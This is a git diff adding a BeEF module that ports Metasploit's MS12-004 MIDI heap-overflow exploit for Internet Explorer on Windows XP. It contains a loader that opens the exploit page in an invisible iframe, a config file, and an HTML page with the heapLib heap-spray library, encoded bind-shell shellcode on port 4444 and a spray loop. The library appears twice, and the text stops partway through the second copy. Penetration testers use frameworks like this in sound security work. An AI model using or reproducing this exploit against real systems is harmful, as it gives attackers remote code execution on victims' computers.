diff --git a/modules/exploits/local_host/ie_ms12_004_midi/command.js b/modules/exploits/local_host/ie_ms12_004_midi/command.js
new file mode 100644
index 000000000..01a2684fb
--- /dev/null
+++ b/modules/exploits/local_host/ie_ms12_004_midi/command.js
@@ -0,0 +1,34 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+  // check browser
+  if (beef.browser.isIE() != 1) {
+    beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target browser is not Internet Explorer");
+    return
+  }
+
+  // check OS
+  if (beef.os.isWindows() != 1) {
+    beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target OS is not Windows");
+    return
+  }
+
+  // exploit
+  var url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/ie_ms12_004_midi.html';
+  var timeout = 15;
+  var ie_ms12_004_midi_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
+  ie_ms12_004_midi_iframe_<%= @command_id %>.setAttribute('src', url)
+  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit attempted. Check for your shell on port 4444");
+
+  // cleanup
+  cleanup = function() {
+    document.body.removeChild(ie_ms12_004_midi_iframe_<%= @command_id %>);
+  }
+  setTimeout("cleanup()", timeout*1000);
+
+});
diff --git a/modules/exploits/local_host/ie_ms12_004_midi/config.yaml b/modules/exploits/local_host/ie_ms12_004_midi/config.yaml
new file mode 100644
index 000000000..5f3a45e9c
--- /dev/null
+++ b/modules/exploits/local_host/ie_ms12_004_midi/config.yaml
@@ -0,0 +1,26 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+###
+# This module is a quick, dirty and butchered port of 'modules/exploits/windows/browser/ms12_004_midi.rb'
+# from the Metasploit Framework project. Written originally by Shane Garrett, juan vazquez, and sinn3r
+# See: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_004_midi.rb
+###
+beef:
+    module:
+        ie_ms12_004_midi:
+            enable: true
+            category: ["Exploits", "Local Host"]
+            name: "IE MS12-004 midiOutPlayNextPolyEvent Heap Overflow"
+            description: "This module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files.  Remote code execution can be achieved by using the Windows Media Player ActiveX control.<br/><br/>This exploit has been ported directly from <a href='http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_004_midi.rb'>ms12_004_midi.rb</a> from Metasploit, however it has limited target support (IE 6-7 on WinXP SP3 only) and limited payloads (bind shell on port 4444 only).<br/><br/>For more granular control over browser based Metasploit exploits using BeEF, refer to the <a href='https://github.com/beefproject/beef/wiki/Metasploit' target='_blank'>Metasploit Integration for BeEF</a> page on the wiki."
+            authors: ['Shane Garrett', 'juan vazquez', 'sinn3r']
+            target:
+                working:
+                    IE:
+                        min_ver: 6
+                        max_ver: 7
+                not_working:
+                    ALL:
+                        os: ["ALL"]
diff --git a/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html
new file mode 100644
index 000000000..9a54fbaae
--- /dev/null
+++ b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html
@@ -0,0 +1,1122 @@
+    <html>
+    <head>
+    <script language='javascript'>
+    //
+//   JavaScript Heap Exploitation library
+//   by Alexander Sotirov <asotirov@determina.com>
+//  
+//   Version 0.3
+//
+// Copyright (c) 2007, Alexander Sotirov
+// All rights reserved.
+// 
+// The HeapLib library is licensed under a BSD license, the text of which follows:
+// 
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+// 
+// 1. Redistributions of source code must retain the above copyright
+//    notice, this list of conditions and the following disclaimer.
+// 2. Redistributions in binary form must reproduce the above copyright
+//    notice, this list of conditions and the following disclaimer in the
+//    documentation and/or other materials provided with the distribution.
+// 3. Neither the name of Alexander Sotirov nor the name of Determina Inc.
+//    may be used to endorse or promote products derived from this software
+//    without specific prior written permission.
+// 
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//
+ 
+//
+// heapLib namespace
+//
+
+function heapLib() {
+}
+
+
+//
+// heapLib class
+//
+
+// heapLib.ie constructor
+//
+// Creates a new heapLib API object for Internet Explorer. The maxAlloc
+// argument sets the maximum block size that can be allocated using the alloc()
+// function.
+//
+// Arguments:
+//    maxAlloc - maximum allocation size in bytes (defaults to 65535)
+//    heapBase - base of the default process heap (defaults to 0x150000)
+//
+
+heapLib.ie = function(maxAlloc, heapBase) {
+
+    this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
+    this.heapBase = (heapBase ? heapBase : 0x150000);
+
+    // Allocate a padding string that uses maxAlloc bytes
+    this.paddingStr = "AAAA";
+
+    while (4 + this.paddingStr.length*2 + 2 < this.maxAlloc) {
+        this.paddingStr += this.paddingStr;
+    }
+    
+    // Create an array for storing references to allocated memory
+    this.mem = new Array();
+
+    // Call flushOleaut32() once to allocate the maximum size blocks
+    this.flushOleaut32();
+}
+
+
+//
+// Outputs a debugging message in WinDbg. The msg argument must be a string
+// literal. Using string concatenation to build the message will result in heap
+// allocations.
+//
+// Arguments:
+//    msg - string to output
+//
+
+heapLib.ie.prototype.debug = function(msg) {
+    void(Math.atan2(0xbabe, msg));
+}
+
+
+//
+// Enables or disables logging of heap operations in WinDbg.
+//
+// Arguments:
+//    enable - a boolean value, set to true to enable heap logging
+//
+
+heapLib.ie.prototype.debugHeap = function(enable) {
+
+    if (enable == true)
+        void(Math.atan(0xbabe));
+    else
+        void(Math.asin(0xbabe));
+}
+
+
+//
+// Triggers a breakpoint in the debugger.
+//
+
+heapLib.ie.prototype.debugBreak = function(msg) {
+    void(Math.acos(0xbabe));
+}
+
+
+//
+// Returns a string of a specified length, up to the maximum allocation size
+// set in the heapLib.ie constructor. The string contains "A" characters.
+//
+// Arguments:
+//    len - length in characters
+//
+
+heapLib.ie.prototype.padding = function(len) {
+    if (len > this.paddingStr.length)
+        throw "Requested padding string length " + len + ", only " + this.paddingStr.length + " available";
+
+    return this.paddingStr.substr(0, len);
+}
+
+
+//
+// Returns a number rounded up to a specified value.
+//
+// Arguments:
+//    num   - integer to round
+//    round - value to round to
+//
+
+heapLib.ie.prototype.round = function(num, round) {
+    if (round == 0)
+        throw "Round argument cannot be 0";
+
+    return parseInt((num + (round-1)) / round) * round;
+}
+
+
+//
+// Converts an integer to a hex string. This function uses the heap.
+//
+// Arguments:
+//    num   - integer to convert
+//    width - pad the output with zeros to a specified width (optional)
+//
+
+heapLib.ie.prototype.hex = function(num, width)
+{
+    var digits = "0123456789ABCDEF";
+
+    var hex = digits.substr(num & 0xF, 1);
+
+    while (num > 0xF) {
+        num = num >>> 4;
+        hex = digits.substr(num & 0xF, 1) + hex;
+    }
+
+    var width = (width ? width : 0);
+
+    while (hex.length < width)
+        hex = "0" + hex;
+
+    return hex;
+}
+
+
+//
+// Convert a 32-bit address to a 4-byte string with the same representation in
+// memory. This function uses the heap.
+//
+// Arguments:
+//    addr - integer representation of the address
+//
+
+heapLib.ie.prototype.addr = function(addr) {
+    return unescape("%u" + this.hex(addr & 0xFFFF, 4) + "%u" + this.hex((addr >> 16) & 0xFFFF, 4));
+}
+
+
+//
+// Allocates a block of a specified size with the OLEAUT32 alloc function.
+//
+// Arguments:
+//    arg - size of the new block in bytes, or a string to strdup
+//    tag - a tag identifying the memory block (optional)
+//
+
+heapLib.ie.prototype.allocOleaut32 = function(arg, tag) {
+
+    var size;
+
+    // Calculate the allocation size
+    if (typeof arg == "string" || arg instanceof String)
+        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
+    else
+        size = arg;
+
+    // Make sure that the size is valid
+    if ((size & 0xf) != 0)
+        throw "Allocation size " + size + " must be a multiple of 16";
+
+    // Create an array for this tag if doesn't already exist
+    if (this.mem[tag] === undefined)
+        this.mem[tag] = new Array();
+
+    if (typeof arg == "string" || arg instanceof String) {
+        // Allocate a new block with strdup of the string argument
+        this.mem[tag].push(arg.substr(0, arg.length));
+    }
+    else {
+        // Allocate the block
+        this.mem[tag].push(this.padding((arg-6)/2));
+    }
+}
+
+
+//
+// Frees all memory blocks marked with a specific tag with the OLEAUT32 memory
+// allocator.
+//
+// Arguments:
+//    tag - a tag identifying the group of blocks to be freed
+//
+
+heapLib.ie.prototype.freeOleaut32 = function(tag) {
+
+    delete this.mem[tag];
+    
+    // Run the garbage collector
+    CollectGarbage();
+}
+
+
+//
+// The JScript interpreter uses the OLEAUT32 memory allocator for all string
+// allocations. This allocator stores freed blocks in a cache and reuses them
+// for later allocations. The cache consists of 4 bins, each storing up to 6
+// blocks. Each bin holds blocks of a certain size range:
+//
+//    0 - 32
+//    33 - 64
+//    65 - 256
+//    257 - 32768
+//
+// When a block is freed by the OLEAUT32 free function, it is stored in one of
+// the bins. If the bin is full, the smallest block in the bin is freed with
+// RtlFreeHeap() and is replaced with the new block. Chunks larger than 32768
+// bytes are not cached and are freed directly.
+//
+// To flush the cache, we need to free 6 blocks of the maximum size for each
+// bin. The maximum size blocks will push out all smaller blocks from the
+// cache. Then we allocate the maximum size blocks again, leaving the cache
+// empty.
+//
+// You need to call this function once to allocate the maximum size blocks
+// before you can use it to flush the cache.
+//
+
+heapLib.ie.prototype.flushOleaut32 = function() {
+
+    this.debug("Flushing the OLEAUT32 cache");
+
+    // Free the maximum size blocks and push out all smaller blocks
+
+    this.freeOleaut32("oleaut32");
+    
+    // Allocate the maximum sized blocks again, emptying the cache
+
+    for (var i = 0; i < 6; i++) {
+        this.allocOleaut32(32, "oleaut32");
+        this.allocOleaut32(64, "oleaut32");
+        this.allocOleaut32(256, "oleaut32");
+        this.allocOleaut32(32768, "oleaut32");
+    }
+}
+
+
+//
+// Allocates a block of a specified size with the system memory allocator. A
+// call to this function is equivalent to a call to HeapAlloc(). If the first
+// argument is a number, it specifies the size of the new block, which is
+// filled with "A" characters. If the argument is a string, its data is copied
+// into a new block of size arg.length * 2 + 6. In both cases the size of the
+// new block must be a multiple of 16 and not equal to 32, 64, 256 or 32768.
+//
+// Arguments:
+//    arg - size of the memory block in bytes, or a string to strdup
+//    tag - a tag identifying the memory block (optional)
+//
+
+heapLib.ie.prototype.alloc = function(arg, tag) {
+
+    var size;
+
+    // Calculate the allocation size
+    if (typeof arg == "string" || arg instanceof String)
+        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
+    else
+        size = arg;
+
+    // Make sure that the size is valid
+    if (size == 32 || size == 64 || size == 256 || size == 32768)
+        throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache";
+
+    // Allocate the block with the OLEAUT32 allocator
+    this.allocOleaut32(arg, tag);
+}
+
+
+//
+// Frees all memory blocks marked with a specific tag with the system memory
+// allocator. A call to this function is equivalent to a call to HeapFree().
+//
+// Arguments:
+//    tag - a tag identifying the group of blocks to be freed
+//
+
+heapLib.ie.prototype.free = function(tag) {
+
+    // Free the blocks with the OLEAUT32 free function
+    this.freeOleaut32(tag);
+
+    // Flush the OLEAUT32 cache
+    this.flushOleaut32();
+}
+
+
+//
+// Runs the garbage collector and flushes the OLEAUT32 cache. Call this
+// function before before using alloc() and free().
+//
+
+heapLib.ie.prototype.gc = function() {
+
+    this.debug("Running the garbage collector");
+    CollectGarbage();
+
+    this.flushOleaut32();
+}
+
+
+//
+// Adds blocks of the specified size to the free list and makes sure they are
+// not coalesced. The heap must be defragmented before calling this function.
+// If the size of the memory blocks is less than 1024, you have to make sure
+// that the lookaside is full.
+//
+// Arguments:
+//    arg    - size of the new block in bytes, or a string to strdup
+//    count  - how many free blocks to add to the list (defaults to 1)
+//
+
+heapLib.ie.prototype.freeList = function(arg, count) {
+
+    var count = (count ? count : 1);
+
+    for (var i = 0; i < count; i++) {
+        this.alloc(arg);
+        this.alloc(arg, "freeList");
+    }
+    this.alloc(arg);
+
+    this.free("freeList");
+}
+
+
+//
+// Add blocks of the specified size to the lookaside. The lookaside must be
+// empty before calling this function.
+//
+// Arguments:
+//    arg    - size of the new block in bytes, or a string to strdup
+//    count  - how many blocks to add to the lookaside (defaults to 1)
+//
+
+heapLib.ie.prototype.lookaside = function(arg, count) {
+
+    var size;
+
+    // Calculate the allocation size
+    if (typeof arg == "string" || arg instanceof String)
+        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
+    else
+        size = arg;
+
+    // Make sure that the size is valid
+    if ((size & 0xf) != 0)
+        throw "Allocation size " + size + " must be a multiple of 16";
+
+    if (size+8 >= 1024)
+        throw("Maximum lookaside block size is 1008 bytes");
+
+    var count = (count ? count : 1);
+
+    for (var i = 0; i < count; i++)
+        this.alloc(arg, "lookaside");
+
+    this.free("lookaside");
+}
+
+
+//
+// Return the address of the head of the lookaside linked list for blocks of a
+// specified size. Uses the heapBase parameter from the heapLib.ie constructor.
+//
+// Arguments:
+//    arg - size of the new block in bytes, or a string to strdup
+//
+
+heapLib.ie.prototype.lookasideAddr = function(arg)
+{
+    var size;
+
+    // Calculate the allocation size
+    if (typeof arg == "string" || arg instanceof String)
+        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
+    else
+        size = arg;
+
+    // Make sure that the size is valid
+    if ((size & 0xf) != 0)
+        throw "Allocation size " + size + " must be a multiple of 16";
+
+    if (size+8 >= 1024)
+        throw("Maximum lookaside block size is 1008 bytes");
+
+    // The lookahead array starts at heapBase + 0x688. It contains a 48 byte
+    // structure for each block size + header size in 8 byte increments.
+
+    return this.heapBase + 0x688 + ((size+8)/8)*48;
+}
+
+
+//
+// Returns a fake vtable that contains shellcode. The caller should free the
+// vtable to the lookaside and use the address of the lookaside head as an
+// object pointer. When the vtable is used, the address of the object must be
+// in eax and the pointer to the vtable must be in ecx. Any virtual function
+// call through the vtable from ecx+8 to ecx+0x80 will result in shellcode
+// execution. This function uses the heap.
+//
+// Arguments:
+//    shellcode - shellcode string
+//    jmpecx    - address of a jmp ecx or equivalent instruction
+//    size      - size of the vtable to generate (defaults to 1008 bytes)
+//
+
+heapLib.ie.prototype.vtable = function(shellcode, jmpecx, size) {
+
+    var size = (size ? size : 1008);
+
+    // Make sure the size is valid
+    if ((size & 0xf) != 0)
+        throw "Vtable size " + size + " must be a multiple of 16";
+
+    if (shellcode.length*2 > size-138)
+        throw("Maximum shellcode length is " + (size-138) + " bytes");
+
+    // Build the fake vtable that will go on the lookaside list
+    //
+    // lookaside ptr  jmp +124  addr of jmp ecx  sub [eax], al*2  shellcode       null
+    // 4 bytes        4 bytes   124 bytes        4 bytes          size-138 bytes  2 bytes
+
+    var vtable = unescape("%u9090%u7ceb")   // nop, nop, jmp + 124
+
+    for (var i = 0; i < 124/4; i++)
+        vtable += this.addr(jmpecx);
+
+    // If the vtable is the only entry on the lookaside, the first 4 bytes will
+    // be 00 00 00 00, which disassembles as two add [eax], al instructions.
+    // The jmp ecx trampoline will jump back to the beginning of the vtable and
+    // execute the add [eax], al instructions. We need to use two sub [eax], al
+    // instructions to fix the heap.
+
+    vtable += unescape("%u0028%u0028") +    // two sub [eax], al instructions
+              shellcode + heap.padding((size-138)/2 - shellcode.length);
+
+    return vtable;
+}
+
+    var heap_obj = new heapLib.ie(0x10000);
+
+    var code = unescape("%ud329%u73e3%u3934%u3df5%u3597%ub343%u24b4%u83be%ua9d6%u6771%u74b9%u2b04%u14d5%ubb0c%u2cb7%u377d%ue011%u9949%u417e%u2d15%ud408%ua81d%u0d4b%ub098%u9247%ufc32%ue300%u0973%u40eb%u91b1%u3fbe%u43a9%u92b9%ufc0a%u67bb%uba15%u720c%u427f%u47b6%u312d%u71f9%u747c%u660d%u84b5%u7ef5%u9035%u77b3%ue13a%u377d%u1d7b%u9f8d%u46bf%ufd03%u8514%u97f8%u75b4%u1b24%ub0d4%u4e04%u4a78%u301c%u25e0%u76b2%ud50b%u4f70%ua83d%u2734%u05b8%u3cb7%u482c%u4b79%u6999%u93d6%u229b%ue2f7%u7a2f%u4941%u9698%u9f25%u2f37%u1305%ue1d0%u347e%uff81%uc1c6%u7ce3%u404a%u7471%ub53f%u761d%u7a70%ud52a%ub09b%ub9ba%u4b7b%ua8a9%u97b4%u80b8%u7dd6%ufc6b%u7372%uf918%u66bb%ufd3b%ueb01%u483d%ue028%ud221%u3ce2%ub21c%u918d%u3567%u9647%u42b7%ub3b6%u7824%u7f4f%uf523%u2d79%u4399%u4977%u2c4e%u93be%u04bf%u900c%u4627%u7598%ud410%u92b1%u3814%u0df8%u4115%u7d75%u0574%u9fbf%ueb20%u7076%u1d7b%u2d9b%u898d%u42e0%u4772%ue288%u7977%u1527%u9997%u732f%u7e40%u1c7a%uf533%u1298%u92d5%ub766%u014e%u41e3%ua9b4%ubb0d%ud41a%u0478%u4f7f%u0ab1%ue1f7%u6948%u3bfc%u3cf9%u14be%ua8b9%u253d%uba46%ub891%u0cb5%u3f37%u9343%u6790%u2496%ub3b2%u714a%u2c4b%u38b6%ufdc0%ub035%uf812%u3449%ud187%u7cd6%ufe20%ue1c1%u7f48%ub424%u35b9%ufc3a%u7e8d%u497d%u983d%u7791%u7974%u3c66%ub390%u4670%u9fb6%ue286%ubf04%u054f%u8c4b%u2fe3%u0c42%u477a%u2d3f%ue002%u674e%u4171%ud42b%u33b2%ub1f5%ua914%u401c%u10bb%u27eb%u80a8%ub7fd%u7cb5%u1d72%u9396%u7873%ud508%u7625%ud628%u99b8%u0b34%uf9d3%uf888%u9792%u9b37%u1543%ub00d%u4a75%ubabe%u2c7b%ue22a%u797e%u047b%u839f%u03eb%u75d5%u7135%u2515%u7a7f%u7270%u4867%ub3b0%ub63f%ub1a9%u1977%u11e0%u89f8%u74e3%u4f2d%u96b2%u144a%ube0d%u3790%u4649%u7d40%u0c78%ud41a%ubab7%u4792%u1db5%u982c%u7c2f%ue131%u4e76%u324b%u97f5%ubf1c%u9b99%u73a8%ub443%ud21b%ub8fd%u66b9%ueb21%u8434%u42e3%u3d7c%u2477%u297a%u09e0%u85d6%ubbf9%u0072%ufcd0%u057f%u7893%ue130%u7441%u8d3c%u7591%u8127%ue2f6%u982d%u397e%u79f5%u4e04%u3c7b%u71b3%u6b0c%u42f8%ubb25%u9214%u4a43%ufc13%u1573%ub666%u7697%ud423%ub0b1%u9f41%u7d37%ub91c%u3f8d%u1d70%u2c46%ub74f%u9924%ub247%u3448%u4940%u0d93%ub4a8%uf93d%u2fb5%u9635%u9bbe%ud5b8%u2767%ua991%u90bf%u4bba%u1805%u22d6%ufcfd%u89e8%u0000%u6000%ue589%ud231%u8b64%u3052%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%u31ff%uacc0%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f0%u8b57%u1052%u428b%u013c%u8bd0%u7840%uc085%u4a74%ud001%u8b50%u1848%u588b%u0120%ue3d3%u493c%u348b%u018b%u31d6%u31ff%uacc0%ucfc1%u010d%u38c7%u75e0%u03f4%uf87d%u7d3b%u7524%u58e2%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u58e0%u5a5f%u128b%u86eb%u685d%u3233%u0000%u7768%u3273%u545f%u4c68%u2677%uff07%ub8d5%u0190%u0000%uc429%u5054%u2968%u6b80%uff00%u50d5%u5050%u4050%u4050%u6850%u0fea%ue0df%ud5ff%uc789%udb31%u6853%u0002%u5c11%ue689%u106a%u5756%uc268%u37db%uff67%u53d5%u6857%ue9b7%uff38%ud5ff%u5353%u6857%uec74%ue13b%ud5ff%u8957%u68c7%u6e75%u614d%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff");
+    var nops = unescape("%u0c0c%u0c0c");
+
+    while (nops.length < 0x1000) nops+= nops;
+    var shellcode =  nops.substring(0,0x800 - code.length) + code;
+    while (shellcode.length < 0x40000) shellcode += shellcode;
+
+    var block = shellcode.substring(0, (0x80000-6)/2);
+
+    heap_obj.gc();
+    for (var i=0; i < 600; i++) {
+      heap_obj.alloc(block);
+    }
+
+
+    </script>
+
+    <script language='javascript'>
+      //
+//   JavaScript Heap Exploitation library
+//   by Alexander Sotirov <asotirov@determina.com>
+//  
+//   Version 0.3
+//
+// Copyright (c) 2007, Alexander Sotirov
+// All rights reserved.
+// 
+// The HeapLib library is licensed under a BSD license, the text of which follows:
+// 
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+// 
+// 1. Redistributions of source code must retain the above copyright
+//    notice, this list of conditions and the following disclaimer.
+// 2. Redistributions in binary form must reproduce the above copyright
+//    notice, this list of conditions and the following disclaimer in the
+//    documentation and/or other materials provided with the distribution.
+// 3. Neither the name of Alexander Sotirov nor the name of Determina Inc.
+//    may be used to endorse or promote products derived from this software
+//    without specific prior written permission.
+// 
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//
+ 
+//
+// heapLib namespace
+//
+
+function heapLib() {
+}
+
+
+//
+// heapLib class
+//
+
+// heapLib.ie constructor
+//
+// Creates a new heapLib API object for Internet Explorer. The maxAlloc
+// argument sets the maximum block size that can be allocated using the alloc()
+// function.
+//
+// Arguments:
+//    maxAlloc - maximum allocation size in bytes (defaults to 65535)
+//    heapBase - base of the default process heap (defaults to 0x150000)
+//
+
+heapLib.ie = function(maxAlloc, heapBase) {
+
+    this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
+    this.heapBase = (heapBase ? heapBase : 0x150000);
+
+    // Allocate a padding string that uses maxAlloc bytes
+    this.paddingStr = "AAAA";
+
+    while (4 + this.paddingStr.length*2 + 2 < this.maxAlloc) {
+        this.paddingStr += this.paddingStr;
+    }
+    
+    // Create an array for storing references to allocated memory
+    this.mem = new Array();
+
+    // Call flushOleaut32() once to allocate the maximum size blocks
+    this.flushOleaut32();
+}
+
+
+//
+// Outputs a debugging message in WinDbg. The msg argument must be a string
+// literal. Using string concatenation to build the message will result in heap
+// allocations.
+//
+// Arguments:
+//    msg - string to output
+//
+
+heapLib.ie.prototype.debug = function(msg) {
+    void(Math.atan2(0xbabe, msg));
+}
+
+
+//
+// Enables or disables logging of heap operations in WinDbg.
+//
+// Arguments:
+//    enable - a boolean value, set to true to enable heap logging
+//
+
+heapLib.ie.prototype.debugHeap = function(enable) {
+
+    if (enable == true)
+        void(Math.atan(0xbabe));
+    else
+        void(Math.asin(0xbabe));
+}
+
+
+//
+// Triggers a breakpoint in the debugger.
+//
+
+heapLib.ie.prototype.debugBreak = function(msg) {
+    void(Math.acos(0xbabe));
+}
+
+
+//
+// Returns a string of a specified length, up to the maximum allocation size
+// set in the heapLib.ie constructor. The string contains "A" characters.
+//
+// Arguments:
+//    len - length in characters
+//
+
+heapLib.ie.prototype.padding = function(len) {
+    if (len > this.paddingStr.length)
+        throw "Requested padding string length " + len + ", only " + this.paddingStr.length + " available";
+
+    return this.paddingStr.substr(0, len);
+}
+
+
+//
+// Returns a number rounded up to a specified value.
+//
+// Arguments:
+//    num   - integer to round
+//    round - value to round to
+//
+
+heapLib.ie.prototype.round = function(num, round) {
+    if (round == 0)
+        throw "Round argument cannot be 0";
+
+    return parseInt((num + (round-1)) / round) * round;
+}
+
+
+//
+// Converts an integer to a hex string. This function uses the heap.
+//
+// Arguments:
+//    num   - integer to convert
+//    width - pad the output with zeros to a specified width (optional)
+//
+
+heapLib.ie.prototype.hex = function(num, width)
+{
+    var digits = "0123456789ABCDEF";
+
+    var hex = digits.substr(num & 0xF, 1);
+
+    while (num > 0xF) {
+        num = num >>> 4;
+        hex = digits.substr(num & 0xF, 1) + hex;
+    }
+
+    var width = (width ? width : 0);
+
+    while (hex.length < width)
+        hex = "0" + hex;
+
+    return hex;
+}
+
+
+//
+// Convert a 32-bit address to a 4-byte string with the same representation in
+// memory. This function uses the heap.
+//
+// Arguments:
+//    addr - integer representation of the address
+//
+
+heapLib.ie.prototype.addr = function(addr) {
+    return unescape("%u" + this.hex(addr & 0xFFFF, 4) + "%u" + this.hex((addr >> 16) & 0xFFFF, 4));
+}
+
+
+//
+// Allocates a block of a specified size with the OLEAUT32 alloc function.
+//
+// Arguments:
+//    arg - size of the new block in bytes, or a string to strdup
+//    tag - a tag identifying the memory block (optional)
+//
+
+heapLib.ie.prototype.allocOleaut32 = function(arg, tag) {
+
+    var size;
+
+    // Calculate the allocation size
+    if (typeof arg == "string" || arg instanceof String)
+        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
+    else
+        size = arg;
+
+    // Make sure that the size is valid
+    if ((size & 0xf) != 0)
+        throw "Allocation size " + size + " must be a multiple of 16";
+
+    // Create an array for this tag if doesn't already exist
+    if (this.mem[tag] === undefined)
+        this.mem[tag] = new Array();
+
+    if (typeof arg == "string" || arg instanceof String) {
+        // Allocate a new block with strdup of the string argument
+        this.mem[tag].push(arg.substr(0, arg.length));
+    }
+    else {
+        // Allocate the block
+        this.mem[tag].push(this.padding((arg-6)/2));
+    }
+}
+
+
+//
+// Frees all memory blocks marked with a specific tag with the OLEAUT32 memory
+// allocator.
+//
+// Arguments:
+//    tag - a tag identifying the group of blocks to be freed
+//
+
+heapLib.ie.prototype.freeOleaut32 = function(tag) {
+
+    delete this.mem[tag];
+    
+    // Run the garbage collector
+    CollectGarbage();
+}
+
+
+//
+// The JScript interpreter uses the OLEAUT32 memory allocator for all string
+// allocations. This allocator stores freed blocks in a cache and reuses them
+// for later allocations. The cache consists of 4 bins, each storing up to 6
+// blocks. Each bin holds blocks of a certain size range:
+//
+//    0 - 32
+//    33 - 64
+//    65 - 256
+//    257 - 32768
+//
+// When a block is freed by the OLEAUT32 free function, it is stored in one of
+// the bins. If the bin is full, the smallest block in the bin is freed with
+// RtlFreeHeap() and is replaced with the new block. Chunks larger than 32768
+// bytes are not cached and are freed directly.
+//
+// To flush the cache, we need to free 6 blocks of the maximum size for each
+// bin. The maximum size blocks will push out all smaller blocks from the
+// cache. Then we allocate the maximum size blocks again, leaving the cache
+// empty.
+//
+// You need to call this function once to allocate the maximum size blocks
+// before you can use it to flush the cache.
+//
+
+heapLib.ie.prototype.flushOleaut32 = function() {
+
+    this.debug("Flushing the OLEAUT32 cache");
+
+    // Free the maximum size blocks and push out all smaller blocks
+
+    this.freeOleaut32("oleaut32");
+    
+    // Allocate the maximum sized blocks again, emptying the cache
+
+    for (var i = 0; i < 6; i++) {
+        this.allocOleaut32(32, "oleaut32");
+        this.allocOleaut32(64, "oleaut32");
+        this.allocOleaut32(256, "oleaut32");
+        this.allocOleaut32(32768, "oleaut32");
+    }
+}
+
+
+//
+// Allocates a block of a specified size with the system memory allocator. A
+// call to this function is equivalent to a call to HeapAlloc(). If the first
+// argument is a number, it specifies the size of the new block, which is
+// filled with "A" characters. If the argument is a string, its data is copied
+// into a new block of size arg.length * 2 + 6. In both cases the size of the
+// new block must be a multiple of 16 and not equal to 32, 64, 256 or 32768.
+//
+// Arguments:
+//    arg - size of the memory block in bytes, or a string to strdup
+//    tag - a tag identifying the memory block (optional)
+//
+
+heapLib.ie.prototype.alloc = function(arg, tag) {
+
+    var size;
+
+    // Calculate the allocation size
